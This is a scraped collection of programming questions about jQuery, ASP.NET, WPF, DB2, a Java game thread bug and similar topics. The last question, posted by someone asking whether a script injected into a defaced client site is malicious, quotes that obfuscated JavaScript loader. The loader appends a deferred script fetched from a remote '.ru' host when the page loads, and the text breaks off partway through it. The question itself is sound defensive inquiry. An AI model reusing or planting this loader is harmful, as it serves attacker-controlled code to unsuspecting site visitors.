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  • jqModal/JQuery problem, div not updating with new content?

    - by echoesofspring
    I'm hoping someone can point a relative jQuery/jqModal newbie in the right direction for debugging this error. I'm loading an html fragment into a div and then use jqModal to display that div as a modal dialog. The problem is that the div is displayed but not with my updated html. I'm showing my jqModal dialog in the response from a jquery call, function foo is called from an onclick event: function foo(url) { $.ajax({ type: "GET", url: url, success: function(msg) { $('#ajaxmodal').html(msg); $('#ajaxmodal').jqmShow(); } }); } ajaxmodal is a simple div. Initially I thought the problem must be in the html snippet (msg) I'm passing to the callback, but I don't think that's it, I get the err (see below) even when I comment out the $('#ajaxmodal').html(msg) line or pass it hardcode html. I think I have jqModal configured correctly, other calls using our ajaxmodal div work correctly, I'm able to display the modal, update the content based the server response, etc. When I try to debug in firebug, I get the following error following the call to .jqmShow(). I have seen the err on occasion in other places when it seemed maybe the page hadn't loaded yet, and I confess I'm confused about that, since we've wrapped our jqModal selectors in a $(document).ready() call, so maybe I have a larger issue that this call just happens to trigger? From the jquery.jqModal.js file, line 64: js err is $(':input:visible',h.w)[0] is undefined in the line: f=function(h){try{$(':input:visible',h.w)[0].focus();}catch(_){}} When I step through this in firefox, h.w[0] seems ok, it references our '#ajaxmodal' div. Thanks in advance for any suggestions in tracking this down?

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  • Any serious problems when making an old java web app run on new IE 8 browser?

    - by pinichi
    I need make an quick estimation on project (not sure we got): It's an old banking CMS java web app: Server: jdk5, weblogic 9. Client: winXP, Ie6. It was design only for use with ie6 but now we need make it also run well on new client: ie8,ie7 on win7. I understand the most difference is the client: DOM and CSS. But my problem is we hasn't been worked with ie8, and I have not enough time to build an testing environment because our developing environment is not ready to make test (its remoting completely, and managed by another partner) Any experience or suggestion to help me weighing this task need will be welcomed.

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  • How do I create a new folder and deploy files to the 12 hive using VseWSS 1.3?

    - by Nathan DeWitt
    I have created a web part using VSeWSS 1.3. It creates a wsp file and my web part gets installed, everything works great. I would like to also create a folder in the LAYOUTS directory of the 12 hive and place a couple files in there. How do I go about doing this? I know that I can manually place the files there, but I would prefer to have it all done in one fell swoop when I uses stsadm to install my solution. Is there a best practices guide out there for using VSeWSS 1.3 to do this? They changed a bunch of stuff with this new version and I want to make sure I don't mess anything up.

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  • Run ajax scripts on page when navigating with ajax?

    - by Oskar Kjellin
    I got a bit of an issue in my ASP.NET MVC project. I have a chat div in the bottom right corner (like facebook), and of course I do not want this to reload when navigating to all my navigation is ajax. The problem I am facing is that I use the following code on the top of the view page: <script type="text/javascript"> $(document).ready(function() { $('#divTS').hide(); $('a#showTS').click(function() { $('#divTS').slideToggle(400); return false; }); }); </script> The problem is that this code is only loaded with ajax and does not seem to fire? I would like to run all scripts in the newly loaded view, just as if I hadn't navigated with ajax. I cannot put this in the site.master as it only loads once and then probably the divs I am trying to hide doesn't exist. Is there a good way to run scripts in the ajax-loaded div?

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  • How can I use data binding in WPF to create a new user control for each element in a list?

    - by Joel
    I have a list of objects. For each item in the list, I want to create a new user control bound to that item. From what I've read, doing this programmatically is bad practice with WPF (as well as less than straightforward), so I should use data binding as a solution instead. The problem is, I can't figure out how to do this. I don't know the contents of the list (just the type) at compile-time, so I can't create and bind with XAML for each element. Google and MSDN don't seem to have any answers, so maybe I'm thinking about this the wrong way? What do I need to do? Thanks

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  • Can't open Websphere Portal 7.0 Login Page after its integration with a custom user registry?

    - by jack_sparrow
    I am currently working on a project related to Websphere Portal 7.0 on Windows Server 2008 R2,64 bit. I am trying to integrate websphere portal with my custom user registry.I have completed all the steps required to implement custom user registry in portal as given in IBM documentation.I am adding my custom repository to the default federated repositories of Portal 7.0.I have made the required changes under VMM Federated CUR Properties section in wkplc.properties.I am using configengine.bat file to configure Portal with user registry. But even completing all the steps,when I am trying to open the Portal Login Page through http://ip-address:port_of_portal/wps/portal ,it is throwing an exception on the console: "Error 500: com.ibm.wps.resolver.data.exceptions.URIProcessingIOException: EJCBD0021E: The URI dav:fs-type1/themes/PageBuilder2/theme.html and parameters [['themeURI'=, 'mime-type'= could not be processed: [EJCBD0021E: The URI dav:fs-type1/themes/PageBuilder2/theme.html and parameters [['themeURI'=, 'mime-type'= could not be processed: EJPSG0002E: Requested Member does not exist.uid=portal,o=defaultWIMFileBasedRealm/null] " and in logs Systemout.log "EJPSB0005E: Exception occurred during creation of the principal with Name uid=portal,o=defaultWIMFileBasedRealm and Principal Type USER caused by com.ibm.portal.puma.MemberNotFoundException: EJPSG0002E: Requested Member does not exist.uid=portal,o=defaultWIMFileBasedRealm/null". Here,"portal" is administrative user in my custom user registry.I am able to access WAS using /ibm/console through user "portal".Please suggest some way to handle this issue.

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  • Font Times New Roman 11,25 Regular is not supported in telerik reporting.

    - by Tio
    Hi all.. I'm having some trouble exporting to PDF in Telerik Reporting Q2 2008. It seems that for some reason, exporting to PDF ( or printing, which is the same, it first exports to PDF, and then prints ), is giving me this error. First it started with Arial, I found the bug with the font Arial, replaced the textbox with Times New Roman, and it keeps on giving me this error. The strange thing, is that this only happens on the production server ( Windows Server 2008 ), on my development machine, this works flawlessly, I even tried to copy the fonts from my windows font folder, to my production server, but that didn't help anything... Does someone know what is happening? EDIT: Problem solved...a server reboot solved the problem instantly, unfortunately at the time I posted this question I couldn't do a server restart, later that day ( at night ) my boss restarted the server and all was good again.. Thanks all..

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  • Writing to a new window with javascript... get access denied

    - by Søren
    Hello gurus :) I have been struggling with this for a while now, and decided it was time to ask for help. I am trying to create a print function on an aspx page, and I am using javascript to do this: function PrintContentCell() { var display_setting = "toolbar=yes, location=no, directories=yes, menubar=yes,"; display_setting += "scrollbars=yes, width=750, height=600, left=100, top=25"; var content_innerhtml = document.getElementById("testTable").innerHTML; var document_print = window.open("Loading.htm", "", display_setting); document_print.document.open(); document_print.document.write('<html><head><title>Print</title></head>'); document_print.document.write('<body style="font-family:verdana; font-size:12px;" onLoad="self.print();self.close();" >'); document_print.document.write(content_innerhtml); document_print.document.write('</body></html>'); document_print.print(); document_print.document.close(); return false; } I get "Access Denied" when the script tries to write to the new window. The Loading.htm file is just a very slim html document writing out the text "Loading...". I had hoped this would work after reading this thread: http://stackoverflow.com/questions/735136/ie-6-7-access-denied-trying-to-access-a-popup-window-document Anybody can help?

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  • Unable to allocate new pages in table space "XXXX" ... but it's 250 megs and I'm only running DDL

    - by Sylvia
    Hello, I'm a DB2 newbie, so I'd appreciate even any pointers on where to start looking. We have great DB2 admins but they're swamped with other issues now, so I'm trying to do some troubleshooting on a development database. My situation is that I have a tablespace that's giving me this error message Unable to allocate new pages in table space "[MyTableSpace]". However, all I'm doing is running multiple (hundreds) of DDL statements, mainly creating tables but also indexes and pk scripts. So, considering that the tablespace has about 250 mg, I shouldn't be running out of space, right? Here's another thing - it appears that after I leave my script for a while, something "resets" and works for a while, then I begin to have the tablespace issue again. thanks, Sylvia

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  • Is HTML5 the new buzzword? ( Web 2.0 was the old one )

    - by Atomiton
    Your thoughts on this? I'm hearing more and more people saying things like: "Is it html 5 compatible" "Can I make my website html 5" "Other html 5 question here..." What do you guys think? Is html5 the new buzzword? Obviously, it's more than a fad. It is the way things are going. But it seems like it's catching on in the mainstream. I don't think it will get as big as Web 2.0, mind you. Thought I'd ask a light question this Tuesday

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  • How to display a new frame in an an applet?

    - by mithun1538
    Hello everyone, I have an applet. In this I have a JLabel component. When the user clicks this label, a new JFrame component gets displayed. I want to set the value of setDefaultCloseOperation() for this frame as JFrame.EXIT_ON_CLOSE. However, I get a SecurityException if I do that. I read the documentation of JFrame.EXIT_ON_CLOSE and its written that : The exit application default window close operation. If a window has this set as the close operation and is closed in an applet, a SecurityException may be thrown. It is recommended you only use this in an application. What I understood from the above is that if a frame is closed without specifying default close operation, the frame is only hidden. I want to close the frame when the user tries to close it, and not hide the frame. Is this possible?

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  • How to retrieve only updated/new records since the last query in SQL?

    - by William Choi
    Hi all, I was asked to design a class for caching SQL query results. Calling the class' query method will query and cache the entire set of results at the first time; afterward, each subsequence query will retrieve only the updated portion, and will merge the result into the cache. If the class is required to be generic, i.e. NO knowledge about the db and the tables, do you have any idea? Is it possible, and how to retrieve only updated/new records since the last query? Thanks! William

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  • How to load new movie with preserved position from previous movie?

    - by ITmeze
    Hi, I am serving movie via JW player. I need to provide functionality to change quality of the movie. Each quality has different url. I need a javascript that loads new movie and moves to last position within clip. Example: User is watching a movie in low quality (http://test.com/play?id=1&qual=low) and is currently at position 00:30:15. User presses button requesting medium quality 'http://test.com/play?id=1&qual=medium' and sees movie starting from position from low quality (http://test.com/play?id=1&qual=low)

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  • How do I implement page authorizaton in ASP.NET using a SQL store instead of web.config?

    - by drachenstern
    For instance, the way we're doing it now is like thus: (in the web.config) <location path="somePath"> <system.web> <authorization> <allow roles="approvedRoles"/> <deny users="*"/> </authorization> </system.web> </location> And what I would like to do instead is to store this information in SQL somewhere so that we can manipulate the information more easily. But we want to keep the same functionality that having the information in web.config provides, just like we can use a SqlRoleProvider instead of hardcoding roles in the app. So in other words, if a user currently tries to goto "somePath" and they're not a member of "approvedRoles" then they get redirected back to default.aspx, and if they are a member of "approvedRoles" then they get the page. I want to do the same thing, but without using web.config as the authorization mechanism. So what I'm NOT asking is how do I go about defining roles, or how do I handle logging in to the database, but specifically how do I store the above information in SQL instead of web.config. Actually, I'll take "anywhere but web.config" for now. Any ideas? Is this possible using a "Provider" class? I'm just looking for pointers on what to inherit and maybe some technet documentation. In this regard my googlefoo is lacking since I don't really know where to point. Am I really only looking for AzMan? Is this location-authorization-via-SQL already defined in the default aspnetdb somewhere and I'm missing it? For that matter, has this question already been asked on SO and I've missed it? What would you google?

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  • Epoch is not epoch if do a new Date(0L). Why ?

    - by Antoine Claval
    My problem is pretty straigtforward explained : if i do this : public class Main { public static void main(String[] args) throws Exception { Date d = new Date(0L ); System.out.println(d); } } I get the following output : Thu Jan 01 01:00:00 CET 1970 According to the doc, i was expecting : Thu Jan 01 00:00:00 CET 1970 I would like was going wrong... EDIT : Indeed, i read the doc too fast. I sould have Thu Jan 01 00:00:00 GMT 1970 So, how can i force the use of GMT, and ignore all local time ?

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  • What to write in "Web location" field when starting an "New website" in Visual Studio 2010?

    - by Ivan
    I want a website to be deployed automatically to a local IIS (built in Windows XP Pro SP3), avoiding VisualStudio-built-in server if possible. I'd like development source files to be stored in a project folder outside wwwroot (I wouldn't mind built files to be copied to wwwroot each time I press F5). I don't store my projects inside default directories inside "My documents". What should I specify as in "Web location" when starting an "New website" in Visual Studio 2010? A deployment path in wwwroot, a folder where I'd like to save my project, or something else? I want the website to be a part of a complex solution in VS 2010, also icludinc a class libray project, a WinForms application project, a Windows Service project and a common Entitity Framework data model.

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  • Run ajax scripts on page with navigating with ajax?

    - by Oskar Kjellin
    I got a bit of an issue in my ASP.NET MVC project. I have a chat div in the bottom right corner (like facebook), and of course I do not want this to reload when navigating to all my navigation is ajax. The problem I am facing is that I use the following code on the top of the view page: <script type="text/javascript"> $(document).ready(function() { $('#divTS').hide(); $('a#showTS').click(function() { $('#divTS').slideToggle(400); return false; }); }); </script> The problem is that this code is only loaded with ajax and does not seem to fire? I would like to run all scripts in the newly loaded view, just as if I hadn't navigated with ajax. I cannot put this in the site.master as it only loads once and then probably the divs I am trying to hide doesn't exist. Is there a good way to run scripts in the ajax-loaded div?

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  • Can you force a crash if a write occurs to a given memory location with finer than page granularity?

    - by Joseph Garvin
    I'm writing a program that for performance reasons uses shared memory (alternatives have been evaluated, and they are not fast enough for my task, so suggestions to not use it will be downvoted). In the shared memory region I am writing many structs of a fixed size. There is one program responsible for writing the structs into shared memory, and many clients that read from it. However, there is one member of each struct that clients need to write to (a reference count, which they will update atomically). All of the other members should be read only to the clients. Because clients need to change that one member, they can't map the shared memory region as read only. But they shouldn't be tinkering with the other members either, and since these programs are written in C++, memory corruption is possible. Ideally, it should be as difficult as possible for one client to crash another. I'm only worried about buggy clients, not malicious ones, so imperfect solutions are allowed. I can try to stop clients from overwriting by declaring the members in the header they use as const, but that won't prevent memory corruption (buffer overflows, bad casts, etc.) from overwriting. I can insert canaries, but then I have to constantly pay the cost of checking them. Instead of storing the reference count member directly, I could store a pointer to the actual data in a separate mapped write only page, while keeping the structs in read only mapped pages. This will work, the OS will force my application to crash if I try to write to the pointed to data, but indirect storage can be undesirable when trying to write lock free algorithms, because needing to follow another level of indirection can change whether something can be done atomically. Is there any way to mark smaller areas of memory such that writing them will cause your app to blow up? Some platforms have hardware watchpoints, and maybe I could activate one of those with inline assembly, but I'd be limited to only 4 at a time on 32-bit x86 and each one could only cover part of the struct because they're limited to 4 bytes. It'd also make my program painful to debug ;)

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  • What stack would you use for a new web Java project if you started today?

    - by Joelio
    If you were to start a brand new java project today with the following requirements: high scale (20k + users) you want to use something that is fairly mature (not changing dramatically) & wont be dead technology in 3 years you want something very productive (no server restarts in dev, save the code and its automatically compiled and deployed), productivity and time to market are key. some amount of ajax on front end no scripting language, jruby, groovy, php etc , has to be java has to support i8n What stack would you use & Why? (when I say stack, I mean, everything soup to nuts, so app server, mvc framework, bean framework, ORM framework, javascript framework etc...)

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  • Can the behaviour of new HTML5 form types be overridden?

    - by Mark Perkins
    I was wondering if anyone knew if it were possible to override the default behaviour of browsers that support the new HTML input types such as type="email" and type="date"? I appreciate that I could test if a browser supports an input type and provide a fallback for those browsers that don't, but what I want to know is is there any way to prevent that default behaviour from happening in browsers that do support it? For instance, if in Opera I want to use the date input type, but I don't want Opera to display the native datepicker (i.e. I want to replace it with my own custom one) is that possible? Are there any DOM events triggered like onDatePickerShow that one can hook into? I don't believe that this is possible, but if anyone knows for sure one way or the other I would love to hear from you.

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  • Thread not behaving correctly

    - by ivor
    Hello, I wonder if anyone can help me to understand where I could be going wrong with this code; Basically I'm working on a turorial and calling the class below from another class - and it is getting the following error; Exception in thread "Thread-1" java.lang.NullPointerException at org.newdawn.spaceinvaders.TCPChat.run(TCPChat.java:322) at java.lang.Thread.run(Unknown Source) I realise the error is beibg flagged in another class- but I have tested the other class with a small class which sets up a separate thread - and it works fine, but as soon as I try and implement a new thread in this class - it causes all sorts of problems. Am I setting up the thread correctly in this class? Basically I can set up a thread in this class, with a test loop and it's fine, but when I bring in the functionality of the rest of the game it sometimes hangs, or does not display at all. Any suggestions on where I could be going wrong would be greatly appreciated. Thanks for looking. package org.newdawn.spaceinvaders; import java.awt.BorderLayout; import java.awt.Canvas; import java.awt.Color; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.Graphics2D; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyAdapter; import java.awt.event.KeyEvent; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import java.awt.image.BufferStrategy; import java.util.ArrayList; import java.util.Scanner; import java.awt.*;//maybe not needed import javax.swing.*;//maybenot needed import java.util.Random; //import java.io.*; /** * The main hook of our game. This class with both act as a manager * for the display and central mediator for the game logic. * * Display management will consist of a loop that cycles round all * entities in the game asking them to move and then drawing them * in the appropriate place. With the help of an inner class it * will also allow the player to control the main ship. * * As a mediator it will be informed when entities within our game * detect events (e.g. alient killed, played died) and will take * appropriate game actions. * * @author Kevin Glass */ public class Game extends Canvas implements Runnable{ /** The stragey that allows us to use accelerate page flipping */ private BufferStrategy strategy; /** True if the game is currently "running", i.e. the game loop is looping */ private boolean gameRunning = true; /** The list of all the entities that exist in our game */ private ArrayList entities = new ArrayList(); /** The list of entities that need to be removed from the game this loop */ private ArrayList removeList = new ArrayList(); /** The entity representing the player */ private Entity ship; /** The speed at which the player's ship should move (pixels/sec) */ private double moveSpeed = 300; /** The time at which last fired a shot */ private long lastFire = 0; /** The interval between our players shot (ms) */ private long firingInterval = 500; /** The number of aliens left on the screen */ private int alienCount; /** The number of levels progressed */ private double levelCount; /** high score for the user */ private int highScore; /** high score for the user */ private String player = "bob"; //private GetUserInput getPlayer; /** The list of entities that need to be removed from the game this loop */ /** The message to display which waiting for a key press */ private String message = ""; /** True if we're holding up game play until a key has been pressed */ private boolean waitingForKeyPress = true; /** True if the left cursor key is currently pressed */ private boolean leftPressed = false; /** True if the right cursor key is currently pressed */ private boolean rightPressed = false; /** True if we are firing */ private boolean firePressed = false; /** True if game logic needs to be applied this loop, normally as a result of a game event */ private boolean logicRequiredThisLoop = false; //private Thread cThread = new Thread(this); //public Thread t = new Thread(this); //private Thread g = new Thread(this); void setHighscore(int setHS) { highScore = setHS; } public int getHighscore() { return highScore; } public void setPlayer(String setPlayer) { player = setPlayer; } public String getPlayer() { return player; } public void run() { //setup(); System.out.println("hello im running bob"); /*int count = 1; do { System.out.println("Count is: " + count); count++; try{Thread.sleep(1);} catch(InterruptedException e){} } while (count <= 2000000);*/ //Game g =new Game(); //Game g = this; // Start the main game loop, note: this method will not // return until the game has finished running. Hence we are // using the actual main thread to run the game. //setup(); //this.gameLoop(); //try{thread.sleep(1);} //catch{InterruptedException e} } /** * Construct our game and set it running. */ public Game () { //Thread t = new Thread(this);//set up new thread for invaders game //t.run();//run the run method of the game //Game g =new Game(); //setup(); //Thread t = new Thread(this); //thread.start(); //SwingUtilities.invokeLater(this); Thread er = new Thread(this); er.start(); } public void setup(){ //initialise highscore setHighscore(0); // create a frame to contain our game JFrame container = new JFrame("Space Invaders 101"); // get hold the content of the frame and set up the resolution of the game JPanel panel = (JPanel) container.getContentPane(); panel.setPreferredSize(new Dimension(800,600)); //panel.setLayout(null); // setup our canvas size and put it into the content of the frame setBounds(0,0,800,600); panel.add(this); // Tell AWT not to bother repainting our canvas since we're // going to do that our self in accelerated mode setIgnoreRepaint(true); // finally make the window visible container.pack(); container.setResizable(false); container.setVisible(true); // add a listener to respond to the user closing the window. If they // do we'd like to exit the game container.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { //cThread.interrupt(); System.exit(0); } }); // add a key input system (defined below) to our canvas // so we can respond to key pressed addKeyListener(new KeyInputHandler()); // request the focus so key events come to us requestFocus(); // create the buffering strategy which will allow AWT // to manage our accelerated graphics createBufferStrategy(2); strategy = getBufferStrategy(); // initialise the entities in our game so there's something // to see at startup initEntities(); } /** * Start a fresh game, this should clear out any old data and * create a new set. */ private void startGame() { // clear out any existing entities and intialise a new set entities.clear(); initEntities(); //initialise highscore setHighscore(0); // blank out any keyboard settings we might currently have leftPressed = false; rightPressed = false; firePressed = false; } /** * Initialise the starting state of the entities (ship and aliens). Each * entitiy will be added to the overall list of entities in the game. */ //private void initEntities() { public void initEntities() { Random randomAlien = new Random(); // create the player ship and place it roughly in the center of the screen //ship = new ShipEntity(this,"sprites/ship.gif",370,550);//orignal ship = new ShipEntity(this,"sprites/ship.gif",700,300);//changed postioning to right hand side entities.add(ship); // create a block of aliens (5 rows, by 12 aliens, spaced evenly) alienCount = 0; levelCount = 1.02; for (int row=0;row<7;row++) {//altered number of rows for (int x=0;x<5;x++) { int r = randomAlien.nextInt(100);//loop added to produce random aliens if (r < 50){ //Entity alien = new AlienEntity(this,"sprites/alien.gif",/*100+*/(x*50),(50)+row*30); Entity alien = new AlienEntity(this,"sprites/alien.gif",100+(x*90),(12)+row*85); entities.add(alien); alienCount++; } } } } //private void initEntities() { public void initAlienEntities() { Random randomAlien = new Random(); // create the player ship and place it roughly in the center of the screen //ship = new ShipEntity(this,"sprites/ship.gif",370,550);//orignal //ship = new ShipEntity(this,"sprites/ship.gif",700,300);//changed postioning to right hand side //entities.add(ship); // create a block of aliens (5 rows, by 12 aliens, spaced evenly) alienCount = 0; levelCount = levelCount + 0.10;//this increases the speed on every level for (int row=0;row<7;row++) {//altered number of rows for (int x=0;x<5;x++) { int r = randomAlien.nextInt(100);//loop added to produce random aliens if (r < 50){//randome check to show alien //Entity alien = new AlienEntity(this,"sprites/alien.gif",/*100+*/(x*50),(50)+row*30); Entity alien = new AlienEntity(this,"sprites/alien.gif",-250+(x*90),(12)+row*85); entities.add(alien); alienCount++; } } } advanceAlienSpeed(levelCount); } /** * Notification from a game entity that the logic of the game * should be run at the next opportunity (normally as a result of some * game event) */ public void updateLogic() { logicRequiredThisLoop = true; } /** * Remove an entity from the game. The entity removed will * no longer move or be drawn. * * @param entity The entity that should be removed */ public void removeEntity(Entity entity) { removeList.add(entity); } /** * Notification that the player has died. */ public void notifyDeath() { message = "Oh no! They got you, try again?"; waitingForKeyPress = true; } /** * Notification that the player has won since all the aliens * are dead. */ public void notifyWin() { message = "Well done! You Win!"; waitingForKeyPress = true; } /** * Notification that an alien has been killed */ public void notifyAlienKilled() { // reduce the alient count, if there are none left, the player has won! alienCount--; if (alienCount == 0) { //notifyWin();win not relevant here... this.initAlienEntities();//call fresh batch of aliens } // if there are still some aliens left then they all need to get faster, so // speed up all the existing aliens advanceAlienSpeed(1.30); } public void advanceAlienSpeed(double speed) { // if there are still some aliens left then they all need to get faster, so // speed up all the existing aliens for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); if (entity instanceof AlienEntity) { // speed up by 2% entity.setHorizontalMovement(entity.getHorizontalMovement() * speed); //entity.setVerticalMovement(entity.getVerticalMovement() * 1.02); } } } /** * Attempt to fire a shot from the player. Its called "try" * since we must first check that the player can fire at this * point, i.e. has he/she waited long enough between shots */ public void tryToFire() { // check that we have waiting long enough to fire if (System.currentTimeMillis() - lastFire < firingInterval) { return; } // if we waited long enough, create the shot entity, and record the time. lastFire = System.currentTimeMillis(); ShotEntity shot = new ShotEntity(this,"sprites/shot.gif",ship.getX()+10,ship.getY()-30); entities.add(shot); } /** * The main game loop. This loop is running during all game * play as is responsible for the following activities: * <p> * - Working out the speed of the game loop to update moves * - Moving the game entities * - Drawing the screen contents (entities, text) * - Updating game events * - Checking Input * <p> */ public void gameLoop() { long lastLoopTime = System.currentTimeMillis(); // keep looping round til the game ends while (gameRunning) { // work out how long its been since the last update, this // will be used to calculate how far the entities should // move this loop long delta = System.currentTimeMillis() - lastLoopTime; lastLoopTime = System.currentTimeMillis(); // Get hold of a graphics context for the accelerated // surface and blank it out Graphics2D g = (Graphics2D) strategy.getDrawGraphics(); g.setColor(Color.black); g.fillRect(0,0,800,600); // cycle round asking each entity to move itself if (!waitingForKeyPress) { for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); entity.move(delta); } } // cycle round drawing all the entities we have in the game for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); entity.draw(g); } // brute force collisions, compare every entity against // every other entity. If any of them collide notify // both entities that the collision has occured for (int p=0;p<entities.size();p++) { for (int s=p+1;s<entities.size();s++) { Entity me = (Entity) entities.get(p); Entity him = (Entity) entities.get(s); if (me.collidesWith(him)) { me.collidedWith(him); him.collidedWith(me); } } } // remove any entity that has been marked for clear up entities.removeAll(removeList); removeList.clear(); // if a game event has indicated that game logic should // be resolved, cycle round every entity requesting that // their personal logic should be considered. if (logicRequiredThisLoop) { //g.drawString("Press any key",(800-g.getFontMetrics().stringWidth("Press any key"))/2,300); for (int i=0;i<entities.size();i++) { Entity entity = (Entity) entities.get(i); entity.doLogic(); } logicRequiredThisLoop = false; } // if we're waiting for an "any key" press then draw the // current message //show highscore at top of screen //show name at top of screen g.setColor(Color.white); g.drawString("Player : "+getPlayer()+" : Score : "+getHighscore(),20,20); if (waitingForKeyPress) { g.setColor(Color.white); g.drawString(message,(800-g.getFontMetrics().stringWidth(message))/2,250); g.drawString("Press any key",(800-g.getFontMetrics().stringWidth("Press any key"))/2,300); } // finally, we've completed drawing so clear up the graphics // and flip the buffer over g.dispose(); strategy.show(); // resolve the movement of the ship. First assume the ship // isn't moving. If either cursor key is pressed then // update the movement appropraitely ship.setVerticalMovement(0);//set to vertical movement if ((leftPressed) && (!rightPressed)) { ship.setVerticalMovement(-moveSpeed);//**took out setHorizaontalMOvement } else if ((rightPressed) && (!leftPressed)) { ship.setVerticalMovement(moveSpeed);//**took out setHorizaontalMOvement } // if we're pressing fire, attempt to fire if (firePressed) { tryToFire(); } // finally pause for a bit. Note: this should run us at about // 100 fps but on windows this might vary each loop due to // a bad implementation of timer try { Thread.sleep(10); } catch (Exception e) {} } } /** * A class to handle keyboard input from the user. The class * handles both dynamic input during game play, i.e. left/right * and shoot, and more static type input (i.e. press any key to * continue) * * This has been implemented as an inner class more through * habbit then anything else. Its perfectly normal to implement * this as seperate class if slight less convienient. * * @author Kevin Glass */ private class KeyInputHandler extends KeyAdapter { /** The number of key presses we've had while waiting for an "any key" press */ private int pressCount = 1; /** * Notification from AWT that a key has been pressed. Note that * a key being pressed is equal to being pushed down but *NOT* * released. Thats where keyTyped() comes in. * * @param e The details of the key that was pressed */ public void keyPressed(KeyEvent e) { // if we're waiting for an "any key" typed then we don't // want to do anything with just a "press" if (waitingForKeyPress) { return; } // if (e.getKeyCode() == KeyEvent.VK_LEFT) { ////leftPressed = true; ///} //// if (e.getKeyCode() == KeyEvent.VK_RIGHT) { //rightPressed = true; if (e.getKeyCode() == KeyEvent.VK_UP) { leftPressed = true; } if (e.getKeyCode() == KeyEvent.VK_DOWN) { rightPressed = true; } if (e.getKeyCode() == KeyEvent.VK_SPACE) { firePressed = true; } } /** * Notification from AWT that a key has been released. * * @param e The details of the key that was released */ public void keyReleased(KeyEvent e) { // if we're waiting for an "any key" typed then we don't // want to do anything with just a "released" if (waitingForKeyPress) { return; } if (e.getKeyCode() == KeyEvent.VK_UP) {//changed from VK_LEFT leftPressed = false; } if (e.getKeyCode() == KeyEvent.VK_DOWN) {//changed from VK_RIGHT rightPressed = false; } if (e.getKeyCode() == KeyEvent.VK_SPACE) { firePressed = false; } } /** * Notification from AWT that a key has been typed. Note that * typing a key means to both press and then release it. * * @param e The details of the key that was typed. */ public void keyTyped(KeyEvent e) { // if we're waiting for a "any key" type then // check if we've recieved any recently. We may // have had a keyType() event from the user releasing // the shoot or move keys, hence the use of the "pressCount" // counter. if (waitingForKeyPress) { if (pressCount == 1) { // since we've now recieved our key typed // event we can mark it as such and start // our new game waitingForKeyPress = false; startGame(); pressCount = 0; } else { pressCount++; } } // if we hit escape, then quit the game if (e.getKeyChar() == 27) { //cThread.interrupt(); System.exit(0); } } } /** * The entry point into the game. We'll simply create an * instance of class which will start the display and game * loop. * * @param argv The arguments that are passed into our game */ //public static void main(String argv[]) { //Game g =new Game(); // Start the main game loop, note: this method will not // return until the game has finished running. Hence we are // using the actual main thread to run the game. //g.gameLoop(); //} }

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  • Is it possible to create a new T-SQL Operator using CLR Code in SQL Server?

    - by Eoin Campbell
    I have a very simple CLR Function for doing Regex Matching public static SqlBoolean RegExMatch(SqlString input, SqlString pattern) { if (input.IsNull || pattern.IsNull) return SqlBoolean.False; return Regex.IsMatch(input.Value, pattern.Value, RegexOptions.IgnoreCase); } It allows me to write a SQL Statement Like. SELECT * FROM dbo.table1 WHERE dbo.RegexMatch(column1, '[0-9][A-Z]') = 1 -- match entries in col1 like 1A, 2B etc... I'm just thinking it would be nice to reformulate that query so it could be called like SELECT * FROM dbo.table1 WHERE column1 REGEXLIKE '[0-9][A-Z]' Is it possible to create new comparison operators using CLR Code. (I'm guessing from my brief glance around the web that the answer is NO, but no harm asking)

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  • How do I setup a Master Page with ASP.net?

    - by Michael
    Hi there, I'm normally a ColdFusion developer, but I'm having to work on a new site using some ASP.net hosting only, so forgive me if my questions seem very trivial. For numerous reasons, the website will be relatively static in the sense that it will mainly be using includes etc...that's about as complex as it will get with this. Now, I heard about the ability to set a master in ASP.net. Would anyone please be able to explain to me in a step process on how to do this? I have of course been searching for some time now on this topic but most results yield little help or no help at all since the search terms are slightly ambiguous. It would be nice to have this functionality for the long run. Any help or advice would be great. Many thanks. Michael.

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  • What does this script do? Is it malicious?

    - by ramdaz
    This script was added to a defaced web page of a client web site running PHP. I have no clue what this script can do, and do not know whether this is really malicious. Can someone advise. Please find code below.... var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} 